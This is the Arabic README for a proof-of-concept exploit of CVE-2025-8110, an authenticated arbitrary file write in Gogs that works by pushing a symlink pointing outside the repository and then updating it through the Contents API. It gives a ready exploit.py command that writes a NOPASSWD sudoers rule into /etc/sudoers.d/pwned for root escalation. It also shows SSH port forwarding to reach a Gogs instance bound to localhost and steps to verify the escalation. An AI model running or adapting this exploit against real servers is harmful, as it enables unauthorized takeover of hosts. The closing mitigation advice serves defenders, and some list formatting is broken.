
PoC لثغرة CVE-2025-8110 - كتابة ملفات عشوائية في Gogs عبر الارتباط الرمزي
إثبات مفهوم لثغرة كتابة ملفات عشوائية بعد المصادقة في Gogs. من خلال دفع مستودع يحتوي على رابط رمزي (symbolic link) يشير إلى خارج المستودع، ثم تحديث محتويات ذلك الرابط عبر API، يمكن لمستخدم مصادق الكتابة فوق ملفات على المضيف بصلاحيات الحساب الذي يشغّل Gogs.
للاستخدام المصرّح به والأغراض التعليمية فقط. شغّل هذا فقط ضد أنظمة تملكها أو لديك إذن كتابي صريح لاختبارها. أنت مسؤول عن كيفية استخدامك له.
malicious_link -> /path/on/host) وادفعه.PUT إلى Contents API لتحديث malicious_link. يتبع Gogs الرابط الرمزي ويكتب المحتوى المقدَّم إلى المسار الهدف — بصلاحياته الخاصة. إذا كان Gogs يعمل بصلاحيات root، فهذه أداة مباشرة لتصعيد الصلاحيات (مثل إضافة قاعدة إلى /etc/sudoers.d/).طلب PUT عبر API هو ما يطلق عملية الكتابة فعليًا؛ بينما الدفع يضع الرابط الرمزي فقط.
git متاح في PATHpip install -r requirements.txt
python3 exploit.py \
-u http://127.0.0.1:3000 \
--user <username> \
--password '<password>' \
--target /etc/sudoers.d/pwned \
--payload '<username> ALL=(ALL) NOPASSWD: ALL'
احذف --password ليُطلب منك إدخاله بشكل آمن بدلاً من تمريره عبر سطر الأوامر.
غالبًا ما يكون Gogs مرتبطًا بـ localhost على الهدف. استخدم إعادة توجيه المنفذ المحلي عبر SSH لكشفه لجهازك (اضبط المنافذ لتطابق الهدف):
ssh -L 3000:127.0.0.1:3000 user@target
# then point the exploit at http://127.0.0.1:3000
بعد تشغيل ناجح، تحقق على المضيف (بصفة المستخدم المعني):
cat /etc/sudoers.d/pwned
sudo -l
إذا كتبت قاعدة sudoers، لاحظ أن الملفات في /etc/sudoers.d/ يجب أن تكون صالحة ولها الصلاحيات المناسبة حتى يلتزم بها sudo.
auto_init يُرجع HTTP 500 — يتراجع البرنامج النصي إلى إنشاء مستودع فارغ وملئه عبر git init محلي + push.master مقابل main.قم بالترقية إلى إصدار Gogs يتحقق من الروابط الرمزية في Contents API. كدفاع متعمق، تجنّب تشغيل Gogs بصلاحيات root واعزل تخزين المستودعات.
MIT — انظر LICENSE.